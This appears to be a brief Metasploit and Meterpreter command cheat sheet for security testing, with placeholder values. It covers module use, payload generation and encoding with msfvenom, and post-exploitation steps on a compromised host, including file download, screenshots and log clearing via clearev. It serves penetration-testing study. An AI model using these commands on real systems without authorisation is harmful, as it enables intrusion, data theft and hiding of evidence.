Security is Everyone's Job

Metasploit Commands

Search for a module: msf > search [regex]

Use a module:msf > use [module_path]

Show options for the current module: msf > show options

Set an option: msf > set [option] [value]

Start the module: msf >exploit or run

List available payloads: msfvenom -l payloads

Generate a payload: msfvenom -p [payload_path] -f [format_type] LHOST=[local_host] LPORT=[local_port]

List available encoders: msfvenom -l encoders

Encode a payload: msfvenom -p [payload] -e [encoder] -f [format_type] -i [encode_iterations] LHOST=[local_host] LPORT=[local_port]

Display system information: meterpreter > sysinfo

List running processes: meterpreter > ps

Kill a process: meterpreter > kill [pid]

Upload or download a file: meterpreter > upload or download [file_path]

Change directory: meterpreter > cd or lcd [dir_path]

Display current working directorymeterpreter > pwd or lpwd

Display file content: meterpreter > cat [file_path]

Take a screenshot: meterpreter > screenshot

Clear system logs: meterpreter > clearev

Display help: meterpreter > ? or help